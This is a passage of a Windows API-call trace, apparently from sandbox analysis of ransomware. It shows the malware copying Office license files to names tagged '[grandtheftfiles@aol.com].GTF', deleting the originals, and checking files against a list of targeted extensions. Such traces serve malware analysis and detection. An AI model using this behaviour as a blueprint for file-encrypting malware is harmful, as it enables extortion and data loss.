	[0181.442] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.442] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.443] GetLastError () returned 0x0
	[0181.443] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0181.445] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0181.446] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.446] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x128, lpOverlapped=0x0) returned 1
	[0181.446] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.446] CloseHandle (hObject=0x3dc) returned 1
	[0181.447] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.447] SetEndOfFile (hFile=0x554) returned 1
	[0181.449] CloseHandle (hObject=0x554) returned 1
	[0181.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 1
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString=".doc") returned 4
	[0181.451] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".docx") returned 5
	[0181.451] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.451] lstrlenW (lpString=".pdf") returned 4
	[0181.451] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".xls") returned 4
	[0181.451] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".xlsx") returned 5
	[0181.451] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.451] lstrlenW (lpString=".ppt") returned 4
	[0181.451] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString=".zip") returned 4
	[0181.451] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".rar") returned 4
	[0181.451] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".bz2") returned 4
	[0181.451] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString=".7z") returned 3
	[0181.451] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString=".dbf") returned 4
	[0181.451] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString=".1cd") returned 4
	[0181.451] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.451] lstrlenW (lpString=".jpg") returned 4
	[0181.451] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString=".doc") returned 4
	[0181.452] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".docx") returned 5
	[0181.452] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.452] lstrlenW (lpString=".pdf") returned 4
	[0181.452] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".xls") returned 4
	[0181.452] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".xlsx") returned 5
	[0181.452] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.452] lstrlenW (lpString=".ppt") returned 4
	[0181.452] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString=".zip") returned 4
	[0181.452] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".rar") returned 4
	[0181.452] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".bz2") returned 4
	[0181.452] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString=".7z") returned 3
	[0181.452] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString=".dbf") returned 4
	[0181.452] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString=".1cd") returned 4
	[0181.452] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0181.452] lstrlenW (lpString=".jpg") returned 4
	[0181.452] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.453] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.453] lstrlenW (lpString="O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 45
	[0181.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.453] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11671) returned 1
	[0181.453] CloseHandle (hObject=0x554) returned 1
	[0181.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0181.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.454] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.454] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.455] GetLastError () returned 0x0
	[0181.455] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0181.457] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0181.458] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.458] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0181.458] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.458] CloseHandle (hObject=0x3dc) returned 1
	[0181.458] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.458] SetEndOfFile (hFile=0x554) returned 1
	[0181.461] CloseHandle (hObject=0x554) returned 1
	[0181.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0181.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.462] lstrlenW (lpString=".doc") returned 4
	[0181.462] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString=".docx") returned 5
	[0181.462] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.462] lstrlenW (lpString=".pdf") returned 4
	[0181.462] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString=".xls") returned 4
	[0181.462] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString=".xlsx") returned 5
	[0181.462] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.462] lstrlenW (lpString=".ppt") returned 4
	[0181.462] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.462] lstrlenW (lpString=".zip") returned 4
	[0181.462] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString=".rar") returned 4
	[0181.462] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.462] lstrlenW (lpString=".bz2") returned 4
	[0181.462] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".7z") returned 3
	[0181.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".dbf") returned 4
	[0181.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".1cd") returned 4
	[0181.463] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".jpg") returned 4
	[0181.463] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".doc") returned 4
	[0181.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".docx") returned 5
	[0181.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.463] lstrlenW (lpString=".pdf") returned 4
	[0181.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".xls") returned 4
	[0181.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".xlsx") returned 5
	[0181.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.463] lstrlenW (lpString=".ppt") returned 4
	[0181.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".zip") returned 4
	[0181.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".rar") returned 4
	[0181.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".bz2") returned 4
	[0181.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString=".7z") returned 3
	[0181.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.463] lstrlenW (lpString=".dbf") returned 4
	[0181.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.464] lstrlenW (lpString=".1cd") returned 4
	[0181.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95
	[0181.464] lstrlenW (lpString=".jpg") returned 4
	[0181.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.464] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.464] lstrlenW (lpString="O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 41
	[0181.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.464] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11215) returned 1
	[0181.464] CloseHandle (hObject=0x554) returned 1
	[0181.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 0x220
	[0181.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.465] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.465] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.466] GetLastError () returned 0x0
	[0181.466] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0181.541] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0181.559] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.559] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x126, lpOverlapped=0x0) returned 1
	[0181.559] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.559] CloseHandle (hObject=0x3dc) returned 1
	[0181.559] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.559] SetEndOfFile (hFile=0x554) returned 1
	[0181.562] CloseHandle (hObject=0x554) returned 1
	[0181.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms")) returned 1
	[0181.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.928] lstrlenW (lpString=".doc") returned 4
	[0181.928] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.928] lstrlenW (lpString=".docx") returned 5
	[0181.928] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.928] lstrlenW (lpString=".pdf") returned 4
	[0181.928] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.928] lstrlenW (lpString=".xls") returned 4
	[0181.928] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.928] lstrlenW (lpString=".xlsx") returned 5
	[0181.928] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.932] lstrlenW (lpString=".ppt") returned 4
	[0181.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString=".zip") returned 4
	[0181.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".rar") returned 4
	[0181.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".bz2") returned 4
	[0181.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".7z") returned 3
	[0181.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString=".dbf") returned 4
	[0181.932] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString=".1cd") returned 4
	[0181.932] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString=".jpg") returned 4
	[0181.932] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.932] lstrlenW (lpString=".doc") returned 4
	[0181.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".docx") returned 5
	[0181.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.932] lstrlenW (lpString=".pdf") returned 4
	[0181.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".xls") returned 4
	[0181.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString=".xlsx") returned 5
	[0181.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.932] lstrlenW (lpString=".ppt") returned 4
	[0181.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.933] lstrlenW (lpString=".zip") returned 4
	[0181.933] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.933] lstrlenW (lpString=".rar") returned 4
	[0181.933] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.933] lstrlenW (lpString=".bz2") returned 4
	[0181.933] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.933] lstrlenW (lpString=".7z") returned 3
	[0181.933] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.933] lstrlenW (lpString=".dbf") returned 4
	[0181.933] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.933] lstrlenW (lpString=".1cd") returned 4
	[0181.933] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91
	[0181.933] lstrlenW (lpString=".jpg") returned 4
	[0181.933] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
